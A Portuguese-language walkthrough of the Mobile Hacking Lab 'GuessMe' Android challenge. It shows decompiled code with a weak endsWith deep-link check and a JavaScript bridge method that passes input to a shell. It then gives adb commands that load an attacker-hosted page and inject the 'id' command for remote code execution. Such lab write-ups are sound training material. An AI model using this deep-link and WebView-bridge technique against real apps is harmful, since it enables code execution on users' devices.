GuessMe Parte 1

“WebView & RCE…”

Introdução

Esta é uma resolução do desafio do Mobile Hacking Lab
onde descobri recentemente que eles estão oferecendo treinamento e laboratórios gratuitos para explorar e praticar suas habilidades de hacking mobile. Então, decidi fazer o curso e praticar os laboratórios.

Objetivo

Sua missão é manipular a funcionalidade de deep link no aplicativo Android “Guess Me”, permitindo que você execute código remoto e obtenha acesso não autorizado.



Writeup

Quando iniciei o aplicativo, existe uma tela para tentar adivinhar o número “secreto” e uma página de informação que nos leva para o website da mobilehackinglab.

Comecei então a fazer engenharia reversa e abri o aplicativo usando o jadx-gui. Analisando o arquivo, foram identificados logo de cara algumas informações importantes.


  • A WebviewActivity está com a flag de exported=”true”
  • Existe um scheme e um host definidos que nos levam a URI: mhl://mobilehackinglagb

Uma vez que sabemos que essa activity está exportada e podemos interagir com ela, podemos analisar o código dessa parte da aplicação.


Como podemos visualizar na imagem acima, essa parte da aplicação é muito rica de informações. Podemos concluir os seguintes pontos:

  1. A webview definida aceita a execução de javascript.
  2. Existe uma JavascriptInterface e está declarada como: “AndroidBridge

Essas informações vão ser úteis para conseguir explorar essa aplicação!

private final boolean isValidDeepLink(Uri uri) {
    if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        return false;
    }
    String queryParameter = uri.getQueryParameter("url");
    return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}

O trecho de código acima mostra que existe uma função que valida o deep link antes de ser excutado.

Para conseguir passar nessa validação é necessário que a URI seja mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com

O ponto de atenção nesse trecho de código é que o parâmetro “url” tem um endsWith que significa que a URL precisa somente terminar com essa string. O que nos leva a acreditar que se qualquer URL que termina com essa string será carregada.

Para provar minha teoria eu realizei o seguinte comando:

adb shell am start -n com.mobilehackinglab.guessme/.WebviewActivity -d "mhl://mobilehackinglab/?url=https://www.google.com/search?q=mobilehackinglab.com"


Agora que tenho uma prova de conceito que consigo fazer a aplicação carregar qualquer website que eu queira, irei continuar analisando a aplicação para ver o que é possível fazer com essa vulnerabilidade.

@JavascriptInterface
public final String getTime(String Time) {
    Intrinsics.checkNotNullParameter(Time, "Time");
    try {
        Process process = Runtime.getRuntime().exec(Time);
        InputStream inputStream = process.getInputStream();
        Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
        Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
        BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
        String readText = TextStreamsKt.readText(reader);
        reader.close();
        return readText;
    } catch (Exception e) {
        return "Error getting time";
    }


No trecho acima é possível identificar uma definição da JavascriptInterface que recebe um parâmetro Time que é passado na função “getRuntime().exec()” isso significa que está sendo executado algum comando direto na shell da aplicação.

public final String getTime(String time) {
Intrinsics.checkNotNullParameter(time, "time");
try {
    Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
    BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    StringBuilder output = new StringBuilder();
    while (true) {
        String it = reader.readLine();
        if (it != null) {
            output.append(it).append("\n");
        } else {
            reader.close();
            String sb = output.toString();
            Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
            return StringsKt.trim((CharSequence) sb).toString();
        }


No trecho de código acima podemos ver a definição da função getTime e aqui conseguimos ver como acontece essa execução de comando direto na shell do aplicativo. Sabendo que a variável time é executada diretamente na shell e que ela vem de um parâmetro da URL, o próximo passo é tentar injetar algum comando e ver se meu payload é executado.

Utilizando o arquivo server.py subi um servidor local que executa um alert com o resultado do parâmentro Time.


O payload utilizado:

adb shell am start -a android.intent.category.BROWSABLE \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-d "mhl://mobilehackinglab/?url=http://192.168.0.9/search?Time=\'id\'%26q=mobilehackinglab.com"

Uma vez que o aplicativo carregou minha página que executa javascript e passa o parâmetro Time dentro da função getTime que faz parte da AndroidBridge que é nossa interface com o Javascript. O RCE acontece!! No final bastando apenas adicionar o host “mobilehackinglab.com” para ter o deep link válido.

Bônus

Parte 2 continuação…